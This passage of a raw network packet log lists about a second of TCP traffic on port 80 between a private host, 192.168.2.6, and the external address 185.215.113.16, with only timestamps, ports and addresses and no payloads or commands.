Oct 29, 2024 20:45:00.726474047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.726489067 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.726526976 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.726634026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.726883888 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.768809080 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.768876076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.768891096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.768933058 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.768995047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769011021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769026995 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769049883 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.769077063 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.769211054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769227028 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769242048 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769257069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769263029 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.769292116 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.769779921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769839048 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769876957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.769912958 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.837939024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838006973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838023901 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838038921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838057041 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838073969 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.838114023 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.838238955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838285923 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.838368893 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838623047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.838922977 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.883963108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884016991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884035110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884063005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.884166956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884183884 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884201050 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.884371996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884416103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.884460926 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884478092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884510994 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.884586096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884601116 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.884730101 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.885411978 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.885554075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.885639906 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.886238098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.927141905 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.927717924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.927829981 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.953085899 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953125954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953145027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953160048 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.953191042 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.953452110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953572989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953588009 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953633070 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.953639984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.953682899 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.953933954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.954073906 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.954121113 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.999475002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.999495029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.999511957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.999543905 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.999569893 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.999634027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.999650002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:00.999661922 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:00.999684095 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.000072956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.000142097 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.000158072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.000180960 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.000325918 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.000376940 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.000777006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.000982046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.000994921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.001019955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.001034021 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.001061916 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.001105070 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.001169920 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.001225948 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.068625927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.068658113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.068680048 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.068727970 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.068898916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.068954945 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.068968058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.069031954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.069093943 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.069108009 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.069159985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.069159985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.069708109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.069720984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.069767952 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.112559080 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.112984896 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.113195896 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.115184069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.115247011 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.115262032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.115329027 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.116029978 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116096973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116096973 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.116111040 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116276026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116291046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116307020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116322041 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116353035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.116353035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.116378069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.116928101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116942883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116957903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116971970 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.116986990 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.117001057 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.117054939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.117110968 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.117449045 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.184907913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.184926033 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.184942007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.184978008 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.185009956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.185024977 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.185089111 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.227966070 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.227998018 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.228013992 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.228089094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.228089094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.230983019 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231017113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231029987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231098890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231115103 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231127024 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.231144905 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.231215000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231230021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231245041 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.231290102 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.231290102 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.232119083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232150078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232165098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232244968 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232259989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232284069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.232284069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.232527018 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232542992 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232569933 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.232615948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232639074 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.232670069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.233033895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.233146906 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.233222008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.233236074 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.233258963 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.233352900 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.323575020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.323607922 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.323626041 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.323668003 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.323668003 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.323740005 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.323755026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.324364901 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.343790054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.343854904 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.343871117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.343933105 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.346688032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.346704006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.346735954 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.346801996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.346877098 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.346903086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.346918106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.346934080 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.347162962 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.347353935 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.347415924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.347430944 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.347482920 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.347527027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.347542048 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.347590923 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.347590923 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.348067045 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348135948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348154068 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348167896 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348180056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.348295927 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.348299980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348845959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348901987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348917961 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.348958015 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.348989964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.349473953 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.440047979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.440068007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.440083027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.440099001 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.440115929 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.440135956 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.440206051 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.459954977 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.460021973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.460037947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.460134029 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.460134029 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.462856054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.462872028 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.462886095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.462908983 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.462924957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.462929964 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.462940931 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.462965012 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.462992907 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.463346004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463361979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463376999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463385105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463430882 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.463430882 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.463433027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463937998 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463984013 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.463999033 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.464004040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.464052916 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.464405060 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.464428902 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.464473963 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.464488029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.464503050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.464524984 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.464524984 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.465003967 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.465065956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.465111971 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.555371046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.555442095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.555458069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.555504084 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.575153112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.575181007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.575196028 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.575239897 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.575320005 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.575335026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.575344086 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.575383902 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.578233957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578293085 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578308105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578334093 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.578453064 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578469038 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578536987 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.578561068 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578619003 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.578645945 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578660965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.578753948 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.578936100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579005003 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579020023 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579042912 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.579149961 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579173088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579206944 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.579705000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579801083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579814911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.579843998 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.579871893 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.580024004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.580271959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.580338001 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.580375910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.580461979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.580476046 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.580492020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.580552101 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.580585957 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.627202988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.627218008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.627331018 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.671051979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.671094894 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.671109915 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.671175957 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.691370964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.691406965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.691426992 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.691503048 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.691503048 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.691725016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.691737890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.691806078 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.694068909 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694117069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694191933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694204092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694236994 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.694401026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694448948 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.694521904 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694575071 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:01.694598913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694611073 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694710970 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694763899 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:01.694777012 CET	80	62424	185.215.113.16	192.168.2.6
